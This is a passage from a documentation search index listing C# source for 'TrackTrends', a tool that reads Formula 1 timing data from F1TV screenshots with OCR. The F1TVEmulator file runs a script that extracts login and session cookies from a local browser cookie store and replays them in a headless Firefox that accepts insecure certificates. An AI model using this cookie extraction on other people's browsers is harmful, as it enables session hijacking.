); driverZoneObject . Add ( \"x\" , driverZone . Bounds . X ); driverZoneObject . Add ( \"y\" , driverZone . Bounds . Y ); driverZoneObject . Add ( \"width\" , driverZone . Bounds . Width ); driverZoneObject . Add ( \"height\" , driverZone . Bounds . Height ); JsonArray windowsArray = new JsonArray (); JsonObject windowObject = new JsonObject (); //Creates all the windows of the current driver zone //Note : We store ALL the windows and zones in the JSON because they are not spaced exactly the same on the main zone foreach ( Window window in driverZone . Windows ) { windowObject . Add ( window . Name , new JsonObject { { \"x\" , window . Bounds . X }, { \"y\" , window . Bounds . Y }, { \"width\" , window . Bounds . Width }, { \"height\" , window . Bounds . Height } }); } windowsArray . Add ( windowObject ); driverZoneObject . Add ( \"Windows\" , windowsArray ); driverZonesArray . Add ( driverZoneObject ); } mainZoneObject . Add ( \"DriverZones\" , driverZonesArray ); JsonArray driversArray = new JsonArray (); foreach ( string driver in drivers ) { driversArray . Add ( driver ); } mainZoneObject . Add ( \"Drivers\" , driversArray ); jsonFileObject . Add ( \"Main\" , mainZoneObject ); JSON = jsonFileObject . ToString (); //Saving the file string path = CONFIGS_FOLDER_NAME + configName ; if ( File . Exists ( path + \".json\" )) { //We need to create a new name int count = 2 ; while ( File . Exists ( path + \"_\" + count + \".json\" )) { count ++; } path += \"_\" + count + \".json\" ; } else { path += \".json\" ; } File . WriteAllText ( path , JSON ); } /// /// Adds a window in the windows list /// Be carefull of the order. It cant be random or it will crash. The programm expect the first to be position, second Gap to leader etc... /// /// The bounds of the window public void AddWindows ( List < Rectangle > rectangles ) { foreach ( Zone driverZone in MainZone . Zones ) { Bitmap zoneImage = driverZone . ZoneImage ; for ( int i = 1 ; i <= rectangles . Count ; i ++) { switch ( i ) { case 1 : //First zone should be the driver's Position driverZone . AddWindow ( new DriverPositionWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 2 : //Second zone should be the Gap to leader driverZone . AddWindow ( new DriverGapToLeaderWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 3 : //Third zone should be the driver's Lap Time driverZone . AddWindow ( new DriverLapTimeWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 4 : //Fourth zone should be the driver's DRS status driverZone . AddWindow ( new DriverDrsWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 5 : //Fifth zone should be the driver's Tyre's informations driverZone . AddWindow ( new DriverTyresWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 6 : //Sixth zone should be the driver's Name driverZone . AddWindow ( new DriverNameWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 7 : //Seventh zone should be the driver's First Sector driverZone . AddWindow ( new DriverSectorWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], 1 , false )); break ; case 8 : //Zone number eight should be the driver's Second Sector driverZone . AddWindow ( new DriverSectorWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], 2 , false )); break ; case 9 : //Zone number nine should be the driver's Position Sector driverZone . AddWindow ( new DriverSectorWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], 3 , false )); break ; } } } } /// /// This will automatically create all the driver zones at the correct places if the main zone has been weel positionned /// You cant just divide the image by the number of pilots or it will be messy and inconsistent at the end (Garbage in Garbage Out) /// public void AutoCalibrate () { List < Rectangle > detectedText = new List < Rectangle >(); List < Zone > zones = new List < Zone >(); TesseractEngine engine = new TesseractEngine ( Window . TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Image image = MainZone . ZoneImage ; var tessImage = Pix . LoadFromMemory ( Window . ImageToByte ( image )); Page page = engine . Process ( tessImage ); //Runs a quick OCR detection. Not to detect any content but just to detect where is all the text positionned. //For each row it decides the best Zone location and adds it to the Driver zone list using ( var iter = page . GetIterator ()) { iter . Begin (); do { Rect boundingBox ; if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { //We remove all the rectangles that are definitely too big if ( boundingBox . Height < image . Height / NUMBER_OF_DRIVERS ) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if ( boundingBox . X1 > image . Width / 2 ) { //Now we check if an other square box has been found roughly in the same y axis bool match = false ; //The tolerance is roughly half the size that a window will be int tolerance = ( image . Height / NUMBER_OF_DRIVERS ) / 2 ; foreach ( Rectangle rect in detectedText ) { if ( rect . Y > boundingBox . Y1 - tolerance && rect . Y < boundingBox . Y1 + tolerance ) { //There already is a rectangle in this line match = true ; } } //if nothing matched we can add it if (! match ) detectedText . Add ( new Rectangle ( boundingBox . X1 , boundingBox . Y1 , boundingBox . Width , boundingBox . Height )); } } } } while ( iter . Next ( PageIteratorLevel . Word )); } //DEBUG int i = 1 ; foreach ( Rectangle Rectangle in detectedText ) { Rectangle windowRectangle ; Size windowSize = new Size ( image . Width , image . Height / NUMBER_OF_DRIVERS ); Point windowLocation = new Point ( 0 , ( Rectangle . Y + Rectangle . Height / 2 ) - windowSize . Height / 2 ); windowRectangle = new Rectangle ( windowLocation , windowSize ); //We add the driver zones Zone driverZone = new Zone ( MainZone . ZoneImage , windowRectangle , \"DriverZone\" ); MainZone . AddZone ( driverZone ); //driverZone.ZoneImage.Save(\"Driver\" + i+\".png\"); i ++; } } } }","title":"ConfigurationTool.cs"},{"location":"Code/DriverData.html","text":"DriverData.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverData.cs /// Brief : File containing classes that behave just like structures to store data about drivers /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; namespace TrackTrends { public class DriverData { public bool DRS ; //True = Drs is opened public int GapToLeader ; //In ms public int LapTime ; //In ms public string Name ; //Ex: LECLERC public int Position ; //Ex: 1 public int Sector1 ; //in ms public int Sector2 ; //in ms public int Sector3 ; //in ms public Tyre CurrentTyre ; //Ex Soft 11 laps public DriverData ( bool dRS , int gapToLeader , int lapTime , string name , int position , int sector1 , int sector2 , int sector3 , Tyre tyre ) { DRS = dRS ; GapToLeader = gapToLeader ; LapTime = lapTime ; Name = name ; Position = position ; Sector1 = sector1 ; Sector2 = sector2 ; Sector3 = sector3 ; CurrentTyre = tyre ; } /// /// Creates a default driver data with empty values /// public DriverData () { DRS = false ; GapToLeader = - 1 ; LapTime = - 1 ; Name = \"Unknown\" ; Position = - 1 ; Sector1 = - 1 ; Sector2 = - 1 ; Sector3 = - 1 ; CurrentTyre = new Tyre ( Tyre . Type . Undefined , - 1 ); } /// /// Method that displays all the data found in a string /// /// string containing all the driver datas public override string ToString () { string result = \"\" ; //Position result += \"Position : \" + Position + Environment . NewLine ; //Gap result += \"GapToLeader : \" + Reader . ConvertMsToTime ( GapToLeader ) + Environment . NewLine ; //LapTime result += \"LapTime : \" + Reader . ConvertMsToTime ( LapTime ) + Environment . NewLine ; //DRS result += \"DRS : \" + DRS + Environment . NewLine ; //Tyres result += \"Uses \" + CurrentTyre . Coumpound + \" tyre \" + CurrentTyre . NumberOfLaps + \" laps old\" + Environment . NewLine ; //Name result += \"DriverName : \" + Name + Environment . NewLine ; //Sector 1 result += \"Sector1 : \" + Reader . ConvertMsToTime ( Sector1 ) + Environment . NewLine ; //Sector 1 result += \"Sector2 : \" + Reader . ConvertMsToTime ( Sector2 ) + Environment . NewLine ; //Sector 1 result += \"Sector3 : \" + Reader . ConvertMsToTime ( Sector3 ) + Environment . NewLine ; return result ; } } //Structure to store tyres infos public struct Tyre { //If new tyres were to be added you will have to need to change this enum public enum Type { Soft , Medium , Hard , Inter , Wet , Undefined } public Type Coumpound ; public int NumberOfLaps ; public Tyre ( Type type , int laps ) { Coumpound = type ; NumberOfLaps = laps ; } } }","title":"DriverData.cs"},{"location":"Code/DriverData.html#driverdatacs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverData.cs /// Brief : File containing classes that behave just like structures to store data about drivers /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; namespace TrackTrends { public class DriverData { public bool DRS ; //True = Drs is opened public int GapToLeader ; //In ms public int LapTime ; //In ms public string Name ; //Ex: LECLERC public int Position ; //Ex: 1 public int Sector1 ; //in ms public int Sector2 ; //in ms public int Sector3 ; //in ms public Tyre CurrentTyre ; //Ex Soft 11 laps public DriverData ( bool dRS , int gapToLeader , int lapTime , string name , int position , int sector1 , int sector2 , int sector3 , Tyre tyre ) { DRS = dRS ; GapToLeader = gapToLeader ; LapTime = lapTime ; Name = name ; Position = position ; Sector1 = sector1 ; Sector2 = sector2 ; Sector3 = sector3 ; CurrentTyre = tyre ; } /// /// Creates a default driver data with empty values /// public DriverData () { DRS = false ; GapToLeader = - 1 ; LapTime = - 1 ; Name = \"Unknown\" ; Position = - 1 ; Sector1 = - 1 ; Sector2 = - 1 ; Sector3 = - 1 ; CurrentTyre = new Tyre ( Tyre . Type . Undefined , - 1 ); } /// /// Method that displays all the data found in a string /// /// string containing all the driver datas public override string ToString () { string result = \"\" ; //Position result += \"Position : \" + Position + Environment . NewLine ; //Gap result += \"GapToLeader : \" + Reader . ConvertMsToTime ( GapToLeader ) + Environment . NewLine ; //LapTime result += \"LapTime : \" + Reader . ConvertMsToTime ( LapTime ) + Environment . NewLine ; //DRS result += \"DRS : \" + DRS + Environment . NewLine ; //Tyres result += \"Uses \" + CurrentTyre . Coumpound + \" tyre \" + CurrentTyre . NumberOfLaps + \" laps old\" + Environment . NewLine ; //Name result += \"DriverName : \" + Name + Environment . NewLine ; //Sector 1 result += \"Sector1 : \" + Reader . ConvertMsToTime ( Sector1 ) + Environment . NewLine ; //Sector 1 result += \"Sector2 : \" + Reader . ConvertMsToTime ( Sector2 ) + Environment . NewLine ; //Sector 1 result += \"Sector3 : \" + Reader . ConvertMsToTime ( Sector3 ) + Environment . NewLine ; return result ; } } //Structure to store tyres infos public struct Tyre { //If new tyres were to be added you will have to need to change this enum public enum Type { Soft , Medium , Hard , Inter , Wet , Undefined } public Type Coumpound ; public int NumberOfLaps ; public Tyre ( Type type , int laps ) { Coumpound = type ; NumberOfLaps = laps ; } } }","title":"DriverData.cs"},{"location":"Code/DriverGapToLeaderWindow.html","text":"DriverGapToLeaderWindow.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverGapToLeaderWindow.cs /// Brief : Window containing infos about the gap to the leader of a driver /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; namespace TrackTrends { public class DriverGapToLeaderWindow : Window { public DriverGapToLeaderWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"GapToLeader\" ; } /// /// Decodes the gap to leader using Tesseract OCR /// /// Returns the gap to the leader in miliseconds (int) public override object DecodePng () { int result = GetTimeFromPng ( WindowImage , OcrImage . WindowType . Gap , Engine ); return result ; } } }","title":"DriverGapToLeaderWindow.cs"},{"location":"Code/DriverGapToLeaderWindow.html#drivergaptoleaderwindowcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverGapToLeaderWindow.cs /// Brief : Window containing infos about the gap to the leader of a driver /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; namespace TrackTrends { public class DriverGapToLeaderWindow : Window { public DriverGapToLeaderWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"GapToLeader\" ; } /// /// Decodes the gap to leader using Tesseract OCR /// /// Returns the gap to the leader in miliseconds (int) public override object DecodePng () { int result = GetTimeFromPng ( WindowImage , OcrImage . WindowType . Gap , Engine ); return result ; } } }","title":"DriverGapToLeaderWindow.cs"},{"location":"Code/DriverNameWindow.html","text":"DriverNameWindow.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverNameWindow /// Brief : Window containing infos about the name of the driver /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverNameWindow : Window { public DriverNameWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"Name\" ; } /// /// Decodes using OCR wich driver name is in the image /// /// A list of all the names that can be on the image /// a string representing the found driver name. It will be one of the ones given in the list public override object DecodePng ( List < string > DriverList ) { string result = \"\" ; result = GetStringFromPng ( WindowImage , Engine ); if (! IsADriver ( DriverList , result )) { //I put everything in uppercase to try to lower the chances of bad answers result = FindClosestMatch ( DriverList . ConvertAll ( d => d . ToUpper ()), result . ToUpper ()); } return result ; } /// /// Verifies that the name found in the OCR is a valid name /// /// The list of all the drivers name that can be found in the image /// The driver you want to be sure if it exists or not /// If ye or no the driver exists private static bool IsADriver ( List < string > driverList , string potentialDriver ) { bool result = false ; //I cant use drivers.Contains because it has missmatched cases and all foreach ( string name in driverList ) { if ( name . ToUpper () == potentialDriver . ToUpper ()) result = true ; } return result ; } } }","title":"DriverNameWindow.cs"},{"location":"Code/DriverNameWindow.html#drivernamewindowcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverNameWindow /// Brief : Window containing infos about the name of the driver /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverNameWindow : Window { public DriverNameWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"Name\" ; } /// /// Decodes using OCR wich driver name is in the image /// /// A list of all the names that can be on the image /// a string representing the found driver name. It will be one of the ones given in the list public override object DecodePng ( List < string > DriverList ) { string result = \"\" ; result = GetStringFromPng ( WindowImage , Engine ); if (! IsADriver ( DriverList , result )) { //I put everything in uppercase to try to lower the chances of bad answers result = FindClosestMatch ( DriverList . ConvertAll ( d => d . ToUpper ()), result . ToUpper ()); } return result ; } /// /// Verifies that the name found in the OCR is a valid name /// /// The list of all the drivers name that can be found in the image /// The driver you want to be sure if it exists or not /// If ye or no the driver exists private static bool IsADriver ( List < string > driverList , string potentialDriver ) { bool result = false ; //I cant use drivers.Contains because it has missmatched cases and all foreach ( string name in driverList ) { if ( name . ToUpper () == potentialDriver . ToUpper ()) result = true ; } return result ; } } }","title":"DriverNameWindow.cs"},{"location":"Code/DriverSectorWindow.html","text":"DriverSectorWindow.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverSectorWindow.cs /// Brief : Window containing infos about a driver sector time. Can be the first second or third, does not matter. /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverSectorWindow : Window { public DriverSectorWindow ( Bitmap image , Rectangle bounds , int sectorId , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"Sector\" + sectorId ; } /// /// Decodes the sector /// /// the sector time in int (ms) public override object DecodePng () { int ocrResult = GetTimeFromPng ( WindowImage , OcrImage . WindowType . Sector , Engine ); return ocrResult ; } } }","title":"DriverSectorWindow.cs"},{"location":"Code/DriverSectorWindow.html#driversectorwindowcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverSectorWindow.cs /// Brief : Window containing infos about a driver sector time. Can be the first second or third, does not matter. /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverSectorWindow : Window { public DriverSectorWindow ( Bitmap image , Rectangle bounds , int sectorId , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"Sector\" + sectorId ; } /// /// Decodes the sector /// /// the sector time in int (ms) public override object DecodePng () { int ocrResult = GetTimeFromPng ( WindowImage , OcrImage . WindowType . Sector , Engine ); return ocrResult ; } } }","title":"DriverSectorWindow.cs"},{"location":"Code/F1TVEmulator.html","text":"F1TVEmulator.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : F1TVEmulator.cs /// Brief : Class that contains methods to emulate a browser and navigate the F1TV website /// Version : Alpha 1.0 using OpenQA.Selenium ; using OpenQA.Selenium.Firefox ; using OpenQA.Selenium.Interactions ; using OpenQA.Selenium.Support.UI ; using System ; using System.Collections.Generic ; using System.Diagnostics ; using System.Drawing ; using System.IO ; using System.Linq ; using System.Text ; using System.Threading ; using System.Threading.Tasks ; namespace TrackTrends { internal class F1TVEmulator { public const string COOKIE_HOST = \".formula1.com\" ; public const string PYTHON_COOKIE_RETRIEVAL_FILENAME = \"recoverCookiesCSV.py\" ; public const string GECKODRIVER_FILENAME = @\"geckodriver-v0.27.0-win64\\geckodriver.exe\" ; //BE CAREFULL IF YOU CHANGE IT HERE YOU NEED TO CHANGE IT IN THE PYTHON SCRIPT TOO public const string COOKIES_CSV_FILENAME = \"cookies.csv\" ; private FirefoxDriver Driver ; private bool _ready ; private string _grandPrixUrl ; public string GrandPrixUrl { get => _grandPrixUrl ; private set => _grandPrixUrl = value ; } public bool Ready { get => _ready ; set => _ready = value ; } public F1TVEmulator ( string grandPrixUrl ) { GrandPrixUrl = grandPrixUrl ; Ready = false ; } /// /// Will start the python programm that runs the Cookie Recovering /// private void StartCookieRecovering () { string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME ; Process process = new Process (); process . StartInfo . FileName = \"python.exe\" ; process . StartInfo . Arguments = scriptPath ; process . StartInfo . UseShellExecute = false ; process . StartInfo . RedirectStandardOutput = true ; process . Start (); string output = process . StandardOutput . ReadToEnd (); process . WaitForExit (); } /// /// Method that will recover the needed cookies in the DB /// /// The host of the wanted cookie ex: ./formula1.com /// The name of the wanted cookie ex: login /// returns the value of the cookie if it has been found /// public string GetCookie ( string host , string name ) { StartCookieRecovering (); string value = \"\" ; List < Cookie > cookies = new List < Cookie >(); if ( File . Exists ( COOKIES_CSV_FILENAME )) { using ( var reader = new StreamReader ( COOKIES_CSV_FILENAME )) { // Read the header row and validate column order string header = reader . ReadLine (); string [] expectedColumns = { \"host_key\" , \"name\" , \"value\" , \"path\" , \"expires_utc\" , \"is_secure\" , \"is_httponly\" }; string [] actualColumns = header . Split ( ',' ); for ( int i = 0 ; i < expectedColumns . Length ; i ++) { if ( expectedColumns [ i ] != actualColumns [ i ]) { throw new InvalidOperationException ( $\"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'\" ); } } // Read each data row and parse values into a Cookie object while (! reader . EndOfStream ) { string line = reader . ReadLine (); string [] fields = line . Split ( ',' ); string hostname = fields [ 0 ]; string cookieName = fields [ 1 ]; if ( hostname == host && cookieName == name ) { value = fields [ 2 ]; } } } } return value ; } /// /// Starts the headless browser /// /// Error code 1xx public async Task < int > Start () { Ready = false ; string loginCookieName = \"login\" ; string loginSessionCookieName = \"login-session\" ; string loginCookieValue = GetCookie ( COOKIE_HOST , loginCookieName ); string loginSessionValue = GetCookie ( COOKIE_HOST , loginSessionCookieName ); //Cookie retreival has gone wrong (usually its because of python not being installed properly) if ( loginCookieValue == \"\" || loginSessionValue == \"\" ) return 100 ; var service = FirefoxDriverService . CreateDefaultService ( GECKODRIVER_FILENAME ); service . Host = \"127.0.0.1\" ; service . Port = 5555 ; FirefoxProfile profile = new FirefoxProfile (); FirefoxOptions options = new FirefoxOptions (); //profile.SetPreference(\"full-screen-api.ignore-widgets\", true); //profile.SetPreference(\"media.hardware-video-decoding.enabled\", true); //profile.SetPreference(\"full-screen-api.enabled\", true); options . Profile = profile ; profile . SetPreference ( \"layout.css.devPixelsPerPx\" , \"1.0\" ); options . AcceptInsecureCertificates = true ; options . AddArgument ( \"--headless\" ); //options.AddArgument(\"--start-maximized\"); //options.AddArgument(\"--window-size=1920x1080\"); //options.AddArgument(\"--width=\" + windowWidth); //options.AddArgument(\"--height=\" + windowHeight); //options.AddArgument(\"-window-size=1920x1080\"); //options.AddArgument(\"--width=1920\"); //options.AddArgument(\"--height=1080\"); //profile try { Driver = new FirefoxDriver ( service , options ); } catch { Ready = false ; return 101 ; } Actions actions = new Actions ( Driver ); var loginCookie = new Cookie ( loginCookieName , loginCookieValue , COOKIE_HOST , \"/\" , DateTime . Now . AddDays ( 5 )); var loginSessionCookie = new Cookie ( loginSessionCookieName , loginSessionValue , COOKIE_HOST , \"/\" , DateTime . Now . AddDays ( 5 )); Driver . Navigate (). GoToUrl ( \"https://f1tv.formula1.com/\" ); Driver . Manage (). Cookies . AddCookie ( loginCookie ); Driver . Manage (). Cookies . AddCookie ( loginSessionCookie ); try { Driver . Navigate (). GoToUrl ( GrandPrixUrl ); } catch { //The url is not a valid url Driver . Dispose (); return 103 ; } //Waits for the page to fully load Driver . Manage (). Timeouts (). PageLoad = TimeSpan . FromSeconds ( 30 ); //Removes the cookie prompt try { IWebElement conscentButton = Driver . FindElement ( By . Id ( \"truste-consent-button\" )); conscentButton . Click (); } catch { //Could not locate the cookie button Screenshot ( \"ERROR104\" ); Driver . Dispose (); return 104 ; } //Again waits for the page to fully load (when you accept cookies it takes a little time for the page to load) //Cannot use The timeout because the feed loading is not really loading so there is not event or anything Thread . Sleep ( 5000 ); //Switches to the Data channel try { IWebElement dataChannelButton = Driver . FindElement ( By . ClassName ( \"data-button\" )); dataChannelButton . Click (); } catch { //If the data button does not exists its because the user is not connected Screenshot ( \"ERROR102\" ); Driver . Dispose (); return 102 ; } //Open settings // Press the space key, this should make the setting button visible // It does not matter if the feed is paused because when changing channel it autoplays actions . SendKeys ( OpenQA . Selenium . Keys . Space ). Perform (); //Clicks on the settings Icon int settingsClickTries = 0 ; bool settingsClickSuccess = false ; while ( settingsClickTries < 100 && ! settingsClickSuccess ) { Thread . Sleep ( 100 ); try { IWebElement settingsButton = Driver . FindElement ( By . ClassName ( \"bmpui-ui-settingstogglebutton\" )); settingsButton . Click (); IWebElement selectElement = Driver . FindElement ( By . ClassName ( \"bmpui-ui-videoqualityselectbox\" )); SelectElement select = new SelectElement ( selectElement ); IWebElement selectOption = selectElement . FindElement ( By . CssSelector ( \"option[value^='1080_']\" )); selectOption . Click (); settingsClickSuccess = true ; } catch { //Sometimes it can crash because it could not get the options to show up in time. When it happens just retry settingsClickSuccess = false ; settingsClickTries ++; } } if (! settingsClickSuccess ) { Screenshot ( \"ERROR105\" ); Driver . Dispose (); return 105 ; } Screenshot ( \"BEFOREFULLSCREEN\" ); //Makes the feed fullscreen int fullScreenClickTries = 0 ; bool fullScreenClickSuccess = false ; Driver . Manage (). Window . Maximize (); //WebDriverWait wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(10)); while ( fullScreenClickTries < 100 && ! fullScreenClickSuccess ) { Thread . Sleep ( 150 ); try { IWebElement fullScreenButton = Driver . FindElement ( By . ClassName ( \"bmpui-ui-fullscreentogglebutton\" )); fullScreenButton . Click (); fullScreenClickSuccess = true ; } catch { fullScreenClickSuccess = false ; fullScreenClickTries ++; } } if (! fullScreenClickSuccess ) { Screenshot ( \"ERROR106\" ); Driver . Dispose (); return 106 ; } Screenshot ( \"AFTERFULLSCREEN\" ); //STARTUP FINISHED READY TO SCREENSHOT Ready = true ; return 0 ; } /// /// Takes a screenshot of what the headless browser is displaying /// /// Optional ! The name of the picture so it can be saved /// Returns the screenshot in the bitmap format public Bitmap Screenshot ( string name = \"TEST\" ) { Bitmap result = new Bitmap ( 4242 , 6969 ); try { //Screenshot scrsht = ((ITakesScreenshot)Driver).GetScreenshot(); //profileriver.SetPreferencC:\\Users\\Moi\\source\\repos\\Test_Merge\\README.mde(\"layout.css.devPixelsPerPx\", \"1.0\"); //Screenshot scrsht = Driver.GetFullPageScreenshot(); Screenshot scrsht = Driver . GetScreenshot (); byte [] screenshotBytes = Convert . FromBase64String ( scrsht . AsBase64EncodedString ); MemoryStream stream = new MemoryStream ( screenshotBytes ); result = new Bitmap ( stream ); //result.Save(name + \".png\"); scrsht . SaveAsFile ( name + \".png\" ); } catch { //Nothing for now } return result ; } /// /// Stops the Emulation. Note: if you plan to start it again please use ResetDriver() instead /// public void Stop () { Ready = false ; if ( Driver != null ) Driver . Dispose (); } /// /// Resets the emulation /// public void ResetDriver () { Ready = false ; if ( Driver != null ) Driver . Dispose (); Driver = null ; } } }","title":"F1TVEmulator.cs"},{"location":"Code/F1TVEmulator.html#f1tvemulatorcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : F1TVEmulator.cs /// Brief : Class that contains methods to emulate a browser and navigate the F1TV website /// Version : Alpha 1.0 using OpenQA.Selenium ; using OpenQA.Selenium.Firefox ; using OpenQA.Selenium.Interactions ; using OpenQA.Selenium.Support.UI ; using System ; using System.Collections.Generic ; using System.Diagnostics ; using System.Drawing ; using System.IO ; using System.Linq ; using System.Text ; using System.Threading ; using System.Threading.Tasks ; namespace TrackTrends { internal class F1TVEmulator { public const string COOKIE_HOST = \".formula1.com\" ; public const string PYTHON_COOKIE_RETRIEVAL_FILENAME = \"recoverCookiesCSV.py\" ; public const string GECKODRIVER_FILENAME = @\"geckodriver-v0.27.0-win64\\geckodriver.exe\" ; //BE CAREFULL IF YOU CHANGE IT HERE YOU NEED TO CHANGE IT IN THE PYTHON SCRIPT TOO public const string COOKIES_CSV_FILENAME = \"cookies.csv\" ; private FirefoxDriver Driver ; private bool _ready ; private string _grandPrixUrl ; public string GrandPrixUrl { get => _grandPrixUrl ; private set => _grandPrixUrl = value ; } public bool Ready { get => _ready ; set => _ready = value ; } public F1TVEmulator ( string grandPrixUrl ) { GrandPrixUrl = grandPrixUrl ; Ready = false ; } /// /// Will start the python programm that runs the Cookie Recovering /// private void StartCookieRecovering () { string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME ; Process process = new Process (); process . StartInfo . FileName = \"python.exe\" ; process . StartInfo . Arguments = scriptPath ; process . StartInfo . UseShellExecute = false ; process . StartInfo . RedirectStandardOutput = true ; process . Start (); string output = process . StandardOutput . ReadToEnd (); process . WaitForExit (); } /// /// Method that will recover the needed cookies in the DB /// /// The host of the wanted cookie ex: ./formula1.com /// The name of the wanted cookie ex: login /// returns the value of the cookie if it has been found /// public string GetCookie ( string host , string name ) { StartCookieRecovering (); string value = \"\" ; List < Cookie > cookies = new List < Cookie >(); if ( File . Exists ( COOKIES_CSV_FILENAME )) { using ( var reader = new StreamReader ( COOKIES_CSV_FILENAME )) { // Read the header row and validate column order string header = reader . ReadLine (); string [] expectedColumns = { \"host_key\" , \"name\" , \"value\" , \"path\" , \"expires_utc\" , \"is_secure\" , \"is_httponly\" }; string [] actualColumns = header . Split ( ',' ); for ( int i = 0 ; i < expectedColumns . Length ; i ++) { if ( expectedColumns [ i ] != actualColumns [ i ]) { throw new InvalidOperationException ( $\"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'\" ); } } // Read each data row and parse values into a Cookie object while (! reader . EndOfStream ) { string line = reader . ReadLine (); string [] fields = line . Split ( ',' ); string hostname = fields [ 0 ]; string cookieName = fields [ 1 ]; if ( hostname == host && cookieName == name ) { value = fields [ 2 ]; } } } } return value ; } /// /// Starts the headless browser /// /// Error code 1xx public async Task < int > Start () { Ready = false ; string loginCookieName = \"login\" ; string loginSessionCookieName = \"login-session\" ; string loginCookieValue = GetCookie ( COOKIE_HOST , loginCookieName ); string loginSessionValue = GetCookie ( COOKIE_HOST , loginSessionCookieName ); //Cookie retreival has gone wrong (usually its because of python not being installed properly) if ( loginCookieValue == \"\" || loginSessionValue == \"\" ) return 100 ; var service = FirefoxDriverService . CreateDefaultService ( GECKODRIVER_FILENAME ); service . Host = \"127.0.0.1\" ; service . Port = 5555 ; FirefoxProfile profile = new FirefoxProfile (); FirefoxOptions options = new FirefoxOptions (); //profile.SetPreference(\"full-screen-api.ignore-widgets\", true); //profile.SetPreference(\"media.hardware-video-decoding.enabled\", true); //profile.SetPreference(\"full-screen-api.enabled\", true); options . Profile = profile ; profile . SetPreference ( \"layout.css.devPixelsPerPx\" , \"1.0\" ); options . AcceptInsecureCertificates = true ; options . AddArgument ( \"--headless\" ); //options.AddArgument(\"--start-maximized\"); //options.AddArgument(\"--window-size=1920x1080\"); //options.AddArgument(\"--width=\" + windowWidth); //options.AddArgument(\"--height=\" + windowHeight); //options.AddArgument(\"-window-size=1920x1080\"); //options.AddArgument(\"--width=1920\"); //options.AddArgument(\"--height=1080\"); //profile try { Driver = new FirefoxDriver ( service , options ); } catch { Ready = false ; return 101 ; } Actions actions = new Actions ( Driver ); var loginCookie = new Cookie ( loginCookieName , loginCookieValue , COOKIE_HOST , \"/\" , DateTime . Now . AddDays ( 5 )); var loginSessionCookie = new Cookie ( loginSessionCookieName , loginSessionValue , COOKIE_HOST , \"/\" , DateTime . Now . AddDays ( 5 )); Driver . Navigate (). GoToUrl ( \"https://f1tv.formula1.com/\" ); Driver . Manage (). Cookies . AddCookie ( loginCookie ); Driver . Manage (). Cookies . AddCookie ( loginSessionCookie ); try { Driver . Navigate (). GoToUrl ( GrandPrixUrl ); } catch { //The url is not a valid url Driver . Dispose (); return 103 ; } //Waits for the page to fully load Driver . Manage (). Timeouts (). PageLoad = TimeSpan . FromSeconds ( 30 ); //Removes the cookie prompt try { IWebElement conscentButton = Driver . FindElement ( By . Id ( \"truste-consent-button\" )); conscentButton . Click (); } catch { //Could not locate the cookie button Screenshot ( \"ERROR104\" ); Driver . Dispose (); return 104 ; } //Again waits for the page to fully load (when you accept cookies it takes a little time for the page to load) //Cannot use The timeout because the feed loading is not really loading so there is not event or anything Thread . Sleep ( 5000 ); //Switches to the Data channel try { IWebElement dataChannelButton = Driver . FindElement ( By . ClassName ( \"data-button\" )); dataChannelButton . Click (); } catch { //If the data button does not exists its because the user is not connected Screenshot ( \"ERROR102\" ); Driver . Dispose (); return 102 ; } //Open settings 